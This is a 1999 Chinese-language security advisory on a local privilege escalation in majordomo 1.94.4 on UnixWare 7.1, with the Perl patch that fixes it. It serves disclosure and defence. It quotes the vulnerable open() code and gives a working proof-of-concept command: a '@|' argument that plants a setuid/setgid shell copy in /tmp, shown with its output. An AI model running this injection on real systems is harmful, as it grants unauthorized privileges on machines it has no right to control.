UnixWare majordomo 安全漏洞
发布日期:1999-12-30
更新日期:1999-12-30
受影响系统:SCO UnixWare 7.1
+majordomo 1.94.4
描述:
在UnixWare 7.1中缺省附带的majordomo包中存在一个安全漏洞,允许本地用户
获得额外的权限。目前已被测试的majordomo版本是1.94.4.
majordomo wrapper允许用户用"owner"的uid和"daemon"的gid来运行/usr/local/majordomo
目录下的程序。wrapper的属性被设置为:
-rwsr-xr-x 1 root daemon 6464 Jan 4 1999 /usr/local/majordomo/wrapper
但在执行该程序前,wrapper会先setuid()到"owner",同时setgid()到"daemon"。
/usr/local/majordomo/resend是一个perl程序,它没有正确检查输入的参数,因而可能导致
安全问题。其中的有问题部分的代码如下:
-snip-
# If the first argument is "@filename", read the real arguments
# from "filename", and shove them onto the ARGV for later processing
# by &Getopts()
#
if ($ARGV[0] =~ /^\@/) {
$fn = shift(@ARGV);
$fn =~ s/^@//;
open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
-snip-
如果我们的第一个参数以"@"开始,resend将尝试用open()函数打开我们提供的文件名。但是
如果文件名是以"|"开始的话,open()就会去运行"|"后面的程序。因此,如果我们的第一个
参数是"@|id",resend就会去执行"id"这个命令。由于我们是通过wrapper来执行resend的,
resend其实是以owner:daemon的身份执行的,所以就可以获得"owner"用户和"daemon"组的权限。
< 发现者: Brock Tellier (btellier@USA.NET) >
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
bash-2.02$ /usr/local/majordomo/wrapper resend '@|cp /bin/ksh
/tmp/xnec;chmod 6555 /tmp/xnec'
resend: must specify '-l list' at /usr/local/majordomo/resend line 77.
bash-2.02$ ls -la /tmp/xnec
-r-sr-sr-x 1 owner daemon 361688 Dec 29 06:26 /tmp/xnec
建议:
Todd C. Miller 提供了一个补丁,用sysopen()代替open():
----------------------------begin----------------------------
--- resend Thu Aug 19 10:12:03 1999
+++ resend+ Tue Dec 28 23:55:39 1999
@@ -58,7 +58,7 @@
if ($ARGV[0] =~ /^\@/) {
$fn = shift(@ARGV);
$fn =~ s/^@//;
- open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped");
+ sysopen(AV, $fn, O_RDONLY) || die("sysopen(AV, \"$fn\", O_RDONLY): $!\nStopped");
undef($/); # set input field separator
$av = <AV>; # read whole file into string
close(AV);
----------------------------end----------------------------
浏览次数:7257
严重程度:0(网友投票)